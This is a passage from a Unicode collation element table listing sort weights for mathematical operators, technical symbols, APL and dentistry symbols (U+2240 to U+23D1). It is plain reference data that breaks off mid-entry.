+2240 ; [*062D.0020.0002] # WREATH PRODUCT +2241 ; [*0629.0020.0002][.0000.002F.0002] # NOT TILDE +2242 ; [*062E.0020.0002] # MINUS TILDE +2243 ; [*062F.0020.0002] # ASYMPTOTICALLY EQUAL TO +2244 ; [*062F.0020.0002][.0000.002F.0002] # NOT ASYMPTOTICALLY EQUAL TO +2245 ; [*0630.0020.0002] # APPROXIMATELY EQUAL TO +2246 ; [*0631.0020.0002] # APPROXIMATELY BUT NOT ACTUALLY EQUAL TO +2247 ; [*0630.0020.0002][.0000.002F.0002] # NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO +2248 ; [*0632.0020.0002] # ALMOST EQUAL TO +2249 ; [*0632.0020.0002][.0000.002F.0002] # NOT ALMOST EQUAL TO +224A ; [*0633.0020.0002] # ALMOST EQUAL OR EQUAL TO +224B ; [*0634.0020.0002] # TRIPLE TILDE +224C ; [*0635.0020.0002] # ALL EQUAL TO +224D ; [*0636.0020.0002] # EQUIVALENT TO +224E ; [*0637.0020.0002] # GEOMETRICALLY EQUIVALENT TO +224F ; [*0638.0020.0002] # DIFFERENCE BETWEEN +2250 ; [*0639.0020.0002] # APPROACHES THE LIMIT +2251 ; [*063A.0020.0002] # GEOMETRICALLY EQUAL TO +2252 ; [*063B.0020.0002] # APPROXIMATELY EQUAL TO OR THE IMAGE OF +2253 ; [*063C.0020.0002] # IMAGE OF OR APPROXIMATELY EQUAL TO +2254 ; [*063D.0020.0002] # COLON EQUALS +2255 ; [*063E.0020.0002] # EQUALS COLON +2256 ; [*063F.0020.0002] # RING IN EQUAL TO +2257 ; [*0640.0020.0002] # RING EQUAL TO +2258 ; [*0641.0020.0002] # CORRESPONDS TO +2259 ; [*0642.0020.0002] # ESTIMATES +225A ; [*0643.0020.0002] # EQUIANGULAR TO +225B ; [*0644.0020.0002] # STAR EQUALS +225C ; [*0645.0020.0002] # DELTA EQUAL TO +225D ; [*0646.0020.0002] # EQUAL TO BY DEFINITION +225E ; [*0647.0020.0002] # MEASURED BY +225F ; [*0648.0020.0002] # QUESTIONED EQUAL TO +2260 ; [*05FB.0020.0002][.0000.002F.0002] # NOT EQUAL TO +2261 ; [*0649.0020.0002] # IDENTICAL TO +2262 ; [*0649.0020.0002][.0000.002F.0002] # NOT IDENTICAL TO +2263 ; [*064A.0020.0002] # STRICTLY EQUIVALENT TO +2264 ; [*064B.0020.0002] # LESS-THAN OR EQUAL TO +2265 ; [*064C.0020.0002] # GREATER-THAN OR EQUAL TO +2266 ; [*064D.0020.0002] # LESS-THAN OVER EQUAL TO +2267 ; [*064E.0020.0002] # GREATER-THAN OVER EQUAL TO +2268 ; [*064F.0020.0002] # LESS-THAN BUT NOT EQUAL TO +2269 ; [*0650.0020.0002] # GREATER-THAN BUT NOT EQUAL TO +226A ; [*0651.0020.0002] # MUCH LESS-THAN +226B ; [*0652.0020.0002] # MUCH GREATER-THAN +226C ; [*0653.0020.0002] # BETWEEN +226D ; [*0636.0020.0002][.0000.002F.0002] # NOT EQUIVALENT TO +226E ; [*05FA.0020.0002][.0000.002F.0002] # NOT LESS-THAN +226F ; [*05FC.0020.0002][.0000.002F.0002] # NOT GREATER-THAN +2270 ; [*064B.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUAL TO +2271 ; [*064C.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUAL TO +2272 ; [*0654.0020.0002] # LESS-THAN OR EQUIVALENT TO +2273 ; [*0655.0020.0002] # GREATER-THAN OR EQUIVALENT TO +2274 ; [*0654.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUIVALENT TO +2275 ; [*0655.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUIVALENT TO +2276 ; [*0656.0020.0002] # LESS-THAN OR GREATER-THAN +2277 ; [*0657.0020.0002] # GREATER-THAN OR LESS-THAN +2278 ; [*0656.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR GREATER-THAN +2279 ; [*0657.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR LESS-THAN +227A ; [*0658.0020.0002] # PRECEDES +227B ; [*0659.0020.0002] # SUCCEEDS +227C ; [*065A.0020.0002] # PRECEDES OR EQUAL TO +227D ; [*065B.0020.0002] # SUCCEEDS OR EQUAL TO +227E ; [*065C.0020.0002] # PRECEDES OR EQUIVALENT TO +227F ; [*065D.0020.0002] # SUCCEEDS OR EQUIVALENT TO +2280 ; [*0658.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE +2281 ; [*0659.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED +2282 ; [*065E.0020.0002] # SUBSET OF +2283 ; [*065F.0020.0002] # SUPERSET OF +2284 ; [*065E.0020.0002][.0000.002F.0002] # NOT A SUBSET OF +2285 ; [*065F.0020.0002][.0000.002F.0002] # NOT A SUPERSET OF +2286 ; [*0660.0020.0002] # SUBSET OF OR EQUAL TO +2287 ; [*0661.0020.0002] # SUPERSET OF OR EQUAL TO +2288 ; [*0660.0020.0002][.0000.002F.0002] # NEITHER A SUBSET OF NOR EQUAL TO +2289 ; [*0661.0020.0002][.0000.002F.0002] # NEITHER A SUPERSET OF NOR EQUAL TO +228A ; [*0662.0020.0002] # SUBSET OF WITH NOT EQUAL TO +228B ; [*0663.0020.0002] # SUPERSET OF WITH NOT EQUAL TO +228C ; [*0664.0020.0002] # MULTISET +228D ; [*0665.0020.0002] # MULTISET MULTIPLICATION +228E ; [*0666.0020.0002] # MULTISET UNION +228F ; [*0667.0020.0002] # SQUARE IMAGE OF +2290 ; [*0668.0020.0002] # SQUARE ORIGINAL OF +2291 ; [*0669.0020.0002] # SQUARE IMAGE OF OR EQUAL TO +2292 ; [*066A.0020.0002] # SQUARE ORIGINAL OF OR EQUAL TO +2293 ; [*066B.0020.0002] # SQUARE CAP +2294 ; [*066C.0020.0002] # SQUARE CUP +2295 ; [*066D.0020.0002] # CIRCLED PLUS +2296 ; [*066E.0020.0002] # CIRCLED MINUS +2297 ; [*066F.0020.0002] # CIRCLED TIMES +2298 ; [*0670.0020.0002] # CIRCLED DIVISION SLASH +2299 ; [*0671.0020.0002] # CIRCLED DOT OPERATOR +229A ; [*0672.0020.0002] # CIRCLED RING OPERATOR +229B ; [*0673.0020.0002] # CIRCLED ASTERISK OPERATOR +229C ; [*0674.0020.0002] # CIRCLED EQUALS +229D ; [*0675.0020.0002] # CIRCLED DASH +229E ; [*0676.0020.0002] # SQUARED PLUS +229F ; [*0677.0020.0002] # SQUARED MINUS +22A0 ; [*0678.0020.0002] # SQUARED TIMES +22A1 ; [*0679.0020.0002] # SQUARED DOT OPERATOR +22A2 ; [*067A.0020.0002] # RIGHT TACK +22A3 ; [*067B.0020.0002] # LEFT TACK +22A4 ; [*067C.0020.0002] # DOWN TACK +22A5 ; [*067D.0020.0002] # UP TACK +22A6 ; [*067E.0020.0002] # ASSERTION +22A7 ; [*067F.0020.0002] # MODELS +22A8 ; [*0680.0020.0002] # TRUE +22A9 ; [*0681.0020.0002] # FORCES +22AA ; [*0682.0020.0002] # TRIPLE VERTICAL BAR RIGHT TURNSTILE +22AB ; [*0683.0020.0002] # DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE +22AC ; [*067A.0020.0002][.0000.002F.0002] # DOES NOT PROVE +22AD ; [*0680.0020.0002][.0000.002F.0002] # NOT TRUE +22AE ; [*0681.0020.0002][.0000.002F.0002] # DOES NOT FORCE +22AF ; [*0683.0020.0002][.0000.002F.0002] # NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE +22B0 ; [*0684.0020.0002] # PRECEDES UNDER RELATION +22B1 ; [*0685.0020.0002] # SUCCEEDS UNDER RELATION +22B2 ; [*0686.0020.0002] # NORMAL SUBGROUP OF +22B3 ; [*0687.0020.0002] # CONTAINS AS NORMAL SUBGROUP +22B4 ; [*0688.0020.0002] # NORMAL SUBGROUP OF OR EQUAL TO +22B5 ; [*0689.0020.0002] # CONTAINS AS NORMAL SUBGROUP OR EQUAL TO +22B6 ; [*068A.0020.0002] # ORIGINAL OF +22B7 ; [*068B.0020.0002] # IMAGE OF +22B8 ; [*068C.0020.0002] # MULTIMAP +22B9 ; [*068D.0020.0002] # HERMITIAN CONJUGATE MATRIX +22BA ; [*068E.0020.0002] # INTERCALATE +22BB ; [*068F.0020.0002] # XOR +22BC ; [*0690.0020.0002] # NAND +22BD ; [*0692.0020.0002] # NOR +22BE ; [*0693.0020.0002] # RIGHT ANGLE WITH ARC +22BF ; [*0694.0020.0002] # RIGHT TRIANGLE +22C0 ; [*0695.0020.0002] # N-ARY LOGICAL AND +22C1 ; [*0696.0020.0002] # N-ARY LOGICAL OR +22C2 ; [*0697.0020.0002] # N-ARY INTERSECTION +22C3 ; [*0698.0020.0002] # N-ARY UNION +22C4 ; [*0699.0020.0002] # DIAMOND OPERATOR +22C5 ; [*069A.0020.0002] # DOT OPERATOR +22C6 ; [*069B.0020.0002] # STAR OPERATOR +22C7 ; [*069C.0020.0002] # DIVISION TIMES +22C8 ; [*069D.0020.0002] # BOWTIE +22C9 ; [*069E.0020.0002] # LEFT NORMAL FACTOR SEMIDIRECT PRODUCT +22CA ; [*069F.0020.0002] # RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT +22CB ; [*06A0.0020.0002] # LEFT SEMIDIRECT PRODUCT +22CC ; [*06A1.0020.0002] # RIGHT SEMIDIRECT PRODUCT +22CD ; [*06A2.0020.0002] # REVERSED TILDE EQUALS +22CE ; [*06A3.0020.0002] # CURLY LOGICAL OR +22CF ; [*06A4.0020.0002] # CURLY LOGICAL AND +22D0 ; [*06A5.0020.0002] # DOUBLE SUBSET +22D1 ; [*06A6.0020.0002] # DOUBLE SUPERSET +22D2 ; [*06A7.0020.0002] # DOUBLE INTERSECTION +22D3 ; [*06A8.0020.0002] # DOUBLE UNION +22D4 ; [*06A9.0020.0002] # PITCHFORK +22D5 ; [*06AA.0020.0002] # EQUAL AND PARALLEL TO +22D6 ; [*06AB.0020.0002] # LESS-THAN WITH DOT +22D7 ; [*06AC.0020.0002] # GREATER-THAN WITH DOT +22D8 ; [*06AD.0020.0002] # VERY MUCH LESS-THAN +22D9 ; [*06AE.0020.0002] # VERY MUCH GREATER-THAN +22DA ; [*06AF.0020.0002] # LESS-THAN EQUAL TO OR GREATER-THAN +22DB ; [*06B0.0020.0002] # GREATER-THAN EQUAL TO OR LESS-THAN +22DC ; [*06B1.0020.0002] # EQUAL TO OR LESS-THAN +22DD ; [*06B2.0020.0002] # EQUAL TO OR GREATER-THAN +22DE ; [*06B3.0020.0002] # EQUAL TO OR PRECEDES +22DF ; [*06B4.0020.0002] # EQUAL TO OR SUCCEEDS +22E0 ; [*065A.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE OR EQUAL +22E1 ; [*065B.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED OR EQUAL +22E2 ; [*0669.0020.0002][.0000.002F.0002] # NOT SQUARE IMAGE OF OR EQUAL TO +22E3 ; [*066A.0020.0002][.0000.002F.0002] # NOT SQUARE ORIGINAL OF OR EQUAL TO +22E4 ; [*06B5.0020.0002] # SQUARE IMAGE OF OR NOT EQUAL TO +22E5 ; [*06B6.0020.0002] # SQUARE ORIGINAL OF OR NOT EQUAL TO +22E6 ; [*06B7.0020.0002] # LESS-THAN BUT NOT EQUIVALENT TO +22E7 ; [*06B8.0020.0002] # GREATER-THAN BUT NOT EQUIVALENT TO +22E8 ; [*06B9.0020.0002] # PRECEDES BUT NOT EQUIVALENT TO +22E9 ; [*06BA.0020.0002] # SUCCEEDS BUT NOT EQUIVALENT TO +22EA ; [*0686.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF +22EB ; [*0687.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP +22EC ; [*0688.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF OR EQUAL TO +22ED ; [*0689.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL +22EE ; [*06BB.0020.0002] # VERTICAL ELLIPSIS +22EF ; [*06BC.0020.0002] # MIDLINE HORIZONTAL ELLIPSIS +22F0 ; [*06BD.0020.0002] # UP RIGHT DIAGONAL ELLIPSIS +22F1 ; [*06BE.0020.0002] # DOWN RIGHT DIAGONAL ELLIPSIS +22F2 ; [*06BF.0020.0002] # ELEMENT OF WITH LONG HORIZONTAL STROKE +22F3 ; [*06C0.0020.0002] # ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE +22F4 ; [*06C1.0020.0002] # SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE +22F5 ; [*06C2.0020.0002] # ELEMENT OF WITH DOT ABOVE +22F6 ; [*06C3.0020.0002] # ELEMENT OF WITH OVERBAR +22F7 ; [*06C4.0020.0002] # SMALL ELEMENT OF WITH OVERBAR +22F8 ; [*06C5.0020.0002] # ELEMENT OF WITH UNDERBAR +22F9 ; [*06C6.0020.0002] # ELEMENT OF WITH TWO HORIZONTAL STROKES +22FA ; [*06C7.0020.0002] # CONTAINS WITH LONG HORIZONTAL STROKE +22FB ; [*06C8.0020.0002] # CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE +22FC ; [*06C9.0020.0002] # SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE +22FD ; [*06CA.0020.0002] # CONTAINS WITH OVERBAR +22FE ; [*06CB.0020.0002] # SMALL CONTAINS WITH OVERBAR +22FF ; [*06CC.0020.0002] # Z NOTATION BAG MEMBERSHIP +2300 ; [*06CD.0020.0002] # DIAMETER SIGN +2301 ; [*06CE.0020.0002] # ELECTRIC ARROW +2302 ; [*06CF.0020.0002] # HOUSE +2303 ; [*06D0.0020.0002] # UP ARROWHEAD +2304 ; [*06D1.0020.0002] # DOWN ARROWHEAD +2305 ; [*06D2.0020.0002] # PROJECTIVE +2306 ; [*06D3.0020.0002] # PERSPECTIVE +2307 ; [*06D4.0020.0002] # WAVY LINE +2308 ; [*031E.0020.0002] # LEFT CEILING +2309 ; [*031F.0020.0002] # RIGHT CEILING +230A ; [*0320.0020.0002] # LEFT FLOOR +230B ; [*0321.0020.0002] # RIGHT FLOOR +230C ; [*06D5.0020.0002] # BOTTOM RIGHT CROP +230D ; [*06D6.0020.0002] # BOTTOM LEFT CROP +230E ; [*06D7.0020.0002] # TOP RIGHT CROP +230F ; [*06D8.0020.0002] # TOP LEFT CROP +2310 ; [*06D9.0020.0002] # REVERSED NOT SIGN +2311 ; [*06DA.0020.0002] # SQUARE LOZENGE +2312 ; [*06DB.0020.0002] # ARC +2313 ; [*06DC.0020.0002] # SEGMENT +2314 ; [*06DD.0020.0002] # SECTOR +2315 ; [*06DE.0020.0002] # TELEPHONE RECORDER +2316 ; [*06DF.0020.0002] # POSITION INDICATOR +2317 ; [*06E0.0020.0002] # VIEWDATA SQUARE +2318 ; [*06E1.0020.0002] # PLACE OF INTEREST SIGN +2319 ; [*06E2.0020.0002] # TURNED NOT SIGN +231A ; [*06E3.0020.0002] # WATCH +231B ; [*06E4.0020.0002] # HOURGLASS +231C ; [*06E5.0020.0002] # TOP LEFT CORNER +231D ; [*06E6.0020.0002] # TOP RIGHT CORNER +231E ; [*06E7.0020.0002] # BOTTOM LEFT CORNER +231F ; [*06E8.0020.0002] # BOTTOM RIGHT CORNER +2320 ; [*06E9.0020.0002] # TOP HALF INTEGRAL +2321 ; [*06EA.0020.0002] # BOTTOM HALF INTEGRAL +2322 ; [*06EB.0020.0002] # FROWN +2323 ; [*06EC.0020.0002] # SMILE +2324 ; [*06ED.0020.0002] # UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS +2325 ; [*06EE.0020.0002] # OPTION KEY +2326 ; [*06EF.0020.0002] # ERASE TO THE RIGHT +2327 ; [*06F0.0020.0002] # X IN A RECTANGLE BOX +2328 ; [*06F1.0020.0002] # KEYBOARD +2329 ; [*0368.0020.0002] # LEFT-POINTING ANGLE BRACKET +232A ; [*0369.0020.0002] # RIGHT-POINTING ANGLE BRACKET +232B ; [*06F2.0020.0002] # ERASE TO THE LEFT +232C ; [*06F3.0020.0002] # BENZENE RING +232D ; [*06F4.0020.0002] # CYLINDRICITY +232E ; [*06F5.0020.0002] # ALL AROUND-PROFILE +232F ; [*06F6.0020.0002] # SYMMETRY +2330 ; [*06F7.0020.0002] # TOTAL RUNOUT +2331 ; [*06F8.0020.0002] # DIMENSION ORIGIN +2332 ; [*06F9.0020.0002] # CONICAL TAPER +2333 ; [*06FA.0020.0002] # SLOPE +2334 ; [*06FB.0020.0002] # COUNTERBORE +2335 ; [*06FC.0020.0002] # COUNTERSINK +2336 ; [*06FD.0020.0002] # APL FUNCTIONAL SYMBOL I-BEAM +2337 ; [*06FE.0020.0002] # APL FUNCTIONAL SYMBOL SQUISH QUAD +2338 ; [*06FF.0020.0002] # APL FUNCTIONAL SYMBOL QUAD EQUAL +2339 ; [*0700.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIVIDE +233A ; [*0701.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIAMOND +233B ; [*0702.0020.0002] # APL FUNCTIONAL SYMBOL QUAD JOT +233C ; [*0703.0020.0002] # APL FUNCTIONAL SYMBOL QUAD CIRCLE +233D ; [*0704.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STILE +233E ; [*0705.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE JOT +233F ; [*0706.0020.0002] # APL FUNCTIONAL SYMBOL SLASH BAR +2340 ; [*0707.0020.0002] # APL FUNCTIONAL SYMBOL BACKSLASH BAR +2341 ; [*0708.0020.0002] # APL FUNCTIONAL SYMBOL QUAD SLASH +2342 ; [*0709.0020.0002] # APL FUNCTIONAL SYMBOL QUAD BACKSLASH +2343 ; [*070A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LESS-THAN +2344 ; [*070B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD GREATER-THAN +2345 ; [*070C.0020.0002] # APL FUNCTIONAL SYMBOL LEFTWARDS VANE +2346 ; [*070D.0020.0002] # APL FUNCTIONAL SYMBOL RIGHTWARDS VANE +2347 ; [*070E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW +2348 ; [*070F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW +2349 ; [*0710.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH +234A ; [*0711.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR +234B ; [*0712.0020.0002] # APL FUNCTIONAL SYMBOL DELTA STILE +234C ; [*0713.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWN CARET +234D ; [*0714.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DELTA +234E ; [*0715.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK JOT +234F ; [*0716.0020.0002] # APL FUNCTIONAL SYMBOL UPWARDS VANE +2350 ; [*0717.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW +2351 ; [*0718.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK OVERBAR +2352 ; [*0719.0020.0002] # APL FUNCTIONAL SYMBOL DEL STILE +2353 ; [*071A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UP CARET +2354 ; [*071B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DEL +2355 ; [*071C.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK JOT +2356 ; [*071D.0020.0002] # APL FUNCTIONAL SYMBOL DOWNWARDS VANE +2357 ; [*071E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW +2358 ; [*071F.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE UNDERBAR +2359 ; [*0720.0020.0002] # APL FUNCTIONAL SYMBOL DELTA UNDERBAR +235A ; [*0721.0020.0002] # APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR +235B ; [*0722.0020.0002] # APL FUNCTIONAL SYMBOL JOT UNDERBAR +235C ; [*0723.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR +235D ; [*0724.0020.0002] # APL FUNCTIONAL SYMBOL UP SHOE JOT +235E ; [*0725.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE QUAD +235F ; [*0726.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STAR +2360 ; [*0727.0020.0002] # APL FUNCTIONAL SYMBOL QUAD COLON +2361 ; [*0728.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK DIAERESIS +2362 ; [*0729.0020.0002] # APL FUNCTIONAL SYMBOL DEL DIAERESIS +2363 ; [*072A.0020.0002] # APL FUNCTIONAL SYMBOL STAR DIAERESIS +2364 ; [*072B.0020.0002] # APL FUNCTIONAL SYMBOL JOT DIAERESIS +2365 ; [*072C.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS +2366 ; [*072D.0020.0002] # APL FUNCTIONAL SYMBOL DOWN SHOE STILE +2367 ; [*072E.0020.0002] # APL FUNCTIONAL SYMBOL LEFT SHOE STILE +2368 ; [*072F.0020.0002] # APL FUNCTIONAL SYMBOL TILDE DIAERESIS +2369 ; [*0730.0020.0002] # APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS +236A ; [*0731.0020.0002] # APL FUNCTIONAL SYMBOL COMMA BAR +236B ; [*0732.0020.0002] # APL FUNCTIONAL SYMBOL DEL TILDE +236C ; [*0733.0020.0002] # APL FUNCTIONAL SYMBOL ZILDE +236D ; [*0734.0020.0002] # APL FUNCTIONAL SYMBOL STILE TILDE +236E ; [*0735.0020.0002] # APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR +236F ; [*0736.0020.0002] # APL FUNCTIONAL SYMBOL QUAD NOT EQUAL +2370 ; [*0737.0020.0002] # APL FUNCTIONAL SYMBOL QUAD QUESTION +2371 ; [*0738.0020.0002] # APL FUNCTIONAL SYMBOL DOWN CARET TILDE +2372 ; [*0739.0020.0002] # APL FUNCTIONAL SYMBOL UP CARET TILDE +2373 ; [*073A.0020.0002] # APL FUNCTIONAL SYMBOL IOTA +2374 ; [*073B.0020.0002] # APL FUNCTIONAL SYMBOL RHO +2375 ; [*073C.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA +2376 ; [*073D.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA UNDERBAR +2377 ; [*073E.0020.0002] # APL FUNCTIONAL SYMBOL EPSILON UNDERBAR +2378 ; [*073F.0020.0002] # APL FUNCTIONAL SYMBOL IOTA UNDERBAR +2379 ; [*0740.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA UNDERBAR +237A ; [*0741.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA +237B ; [*0742.0020.0002] # NOT CHECK MARK +237C ; [*0743.0020.0002] # RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW +237D ; [*0744.0020.0002] # SHOULDERED OPEN BOX +237E ; [*0745.0020.0002] # BELL SYMBOL +237F ; [*0746.0020.0002] # VERTICAL LINE WITH MIDDLE DOT +2380 ; [*0747.0020.0002] # INSERTION SYMBOL +2381 ; [*0748.0020.0002] # CONTINUOUS UNDERLINE SYMBOL +2382 ; [*0749.0020.0002] # DISCONTINUOUS UNDERLINE SYMBOL +2383 ; [*074A.0020.0002] # EMPHASIS SYMBOL +2384 ; [*074B.0020.0002] # COMPOSITION SYMBOL +2385 ; [*074C.0020.0002] # WHITE SQUARE WITH CENTRE VERTICAL LINE +2386 ; [*074D.0020.0002] # ENTER SYMBOL +2387 ; [*074E.0020.0002] # ALTERNATIVE KEY SYMBOL +2388 ; [*074F.0020.0002] # HELM SYMBOL +2389 ; [*0750.0020.0002] # CIRCLED HORIZONTAL BAR WITH NOTCH +238A ; [*0751.0020.0002] # CIRCLED TRIANGLE DOWN +238B ; [*0752.0020.0002] # BROKEN CIRCLE WITH NORTHWEST ARROW +238C ; [*0753.0020.0002] # UNDO SYMBOL +238D ; [*0754.0020.0002] # MONOSTABLE SYMBOL +238E ; [*0755.0020.0002] # HYSTERESIS SYMBOL +238F ; [*0756.0020.0002] # OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL +2390 ; [*0757.0020.0002] # OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL +2391 ; [*0758.0020.0002] # PASSIVE-PULL-DOWN-OUTPUT SYMBOL +2392 ; [*0759.0020.0002] # PASSIVE-PULL-UP-OUTPUT SYMBOL +2393 ; [*075A.0020.0002] # DIRECT CURRENT SYMBOL FORM TWO +2394 ; [*075B.0020.0002] # SOFTWARE-FUNCTION SYMBOL +2395 ; [*075C.0020.0002] # APL FUNCTIONAL SYMBOL QUAD +2396 ; [*075D.0020.0002] # DECIMAL SEPARATOR KEY SYMBOL +2397 ; [*075E.0020.0002] # PREVIOUS PAGE +2398 ; [*075F.0020.0002] # NEXT PAGE +2399 ; [*0760.0020.0002] # PRINT SCREEN SYMBOL +239A ; [*0761.0020.0002] # CLEAR SCREEN SYMBOL +239B ; [*0762.0020.0002] # LEFT PARENTHESIS UPPER HOOK +239C ; [*0763.0020.0002] # LEFT PARENTHESIS EXTENSION +239D ; [*0764.0020.0002] # LEFT PARENTHESIS LOWER HOOK +239E ; [*0765.0020.0002] # RIGHT PARENTHESIS UPPER HOOK +239F ; [*0766.0020.0002] # RIGHT PARENTHESIS EXTENSION +23A0 ; [*0767.0020.0002] # RIGHT PARENTHESIS LOWER HOOK +23A1 ; [*0768.0020.0002] # LEFT SQUARE BRACKET UPPER CORNER +23A2 ; [*0769.0020.0002] # LEFT SQUARE BRACKET EXTENSION +23A3 ; [*076A.0020.0002] # LEFT SQUARE BRACKET LOWER CORNER +23A4 ; [*076B.0020.0002] # RIGHT SQUARE BRACKET UPPER CORNER +23A5 ; [*076C.0020.0002] # RIGHT SQUARE BRACKET EXTENSION +23A6 ; [*076D.0020.0002] # RIGHT SQUARE BRACKET LOWER CORNER +23A7 ; [*076E.0020.0002] # LEFT CURLY BRACKET UPPER HOOK +23A8 ; [*076F.0020.0002] # LEFT CURLY BRACKET MIDDLE PIECE +23A9 ; [*0770.0020.0002] # LEFT CURLY BRACKET LOWER HOOK +23AA ; [*0771.0020.0002] # CURLY BRACKET EXTENSION +23AB ; [*0772.0020.0002] # RIGHT CURLY BRACKET UPPER HOOK +23AC ; [*0773.0020.0002] # RIGHT CURLY BRACKET MIDDLE PIECE +23AD ; [*0774.0020.0002] # RIGHT CURLY BRACKET LOWER HOOK +23AE ; [*0775.0020.0002] # INTEGRAL EXTENSION +23AF ; [*0776.0020.0002] # HORIZONTAL LINE EXTENSION +23B0 ; [*0777.0020.0002] # UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION +23B1 ; [*0778.0020.0002] # UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION +23B2 ; [*0779.0020.0002] # SUMMATION TOP +23B3 ; [*077A.0020.0002] # SUMMATION BOTTOM +23B4 ; [*077B.0020.0002] # TOP SQUARE BRACKET +23B5 ; [*077C.0020.0002] # BOTTOM SQUARE BRACKET +23B6 ; [*077D.0020.0002] # BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET +23B7 ; [*077E.0020.0002] # RADICAL SYMBOL BOTTOM +23B8 ; [*077F.0020.0002] # LEFT VERTICAL BOX LINE +23B9 ; [*0780.0020.0002] # RIGHT VERTICAL BOX LINE +23BA ; [*0781.0020.0002] # HORIZONTAL SCAN LINE-1 +23BB ; [*0782.0020.0002] # HORIZONTAL SCAN LINE-3 +23BC ; [*0783.0020.0002] # HORIZONTAL SCAN LINE-7 +23BD ; [*0784.0020.0002] # HORIZONTAL SCAN LINE-9 +23BE ; [*0785.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT +23BF ; [*0786.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT +23C0 ; [*0787.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE +23C1 ; [*0788.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE +23C2 ; [*0789.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE +23C3 ; [*078A.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE +23C4 ; [*078B.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE +23C5 ; [*078C.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE +23C6 ; [*078D.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE +23C7 ; [*078E.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE +23C8 ; [*078F.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE +23C9 ; [*0790.0020.0002] # DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL +23CA ; [*0791.0020.0002] # DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL +23CB ; [*0792.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT +23CC ; [*0793.0020.0002] # DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT +23CD ; [*0794.0020.0002] # SQUARE FOOT +23CE ; [*0795.0020.0002] # RETURN SYMBOL +23CF ; [*0796.0020.0002] # EJECT SYMBOL +23D0 ; [*0797.0020.0002] # VERTICAL LINE EXTENSION +23D1 ; [*0798.0020.0002] # METRICAL BREVE +23D2 ; 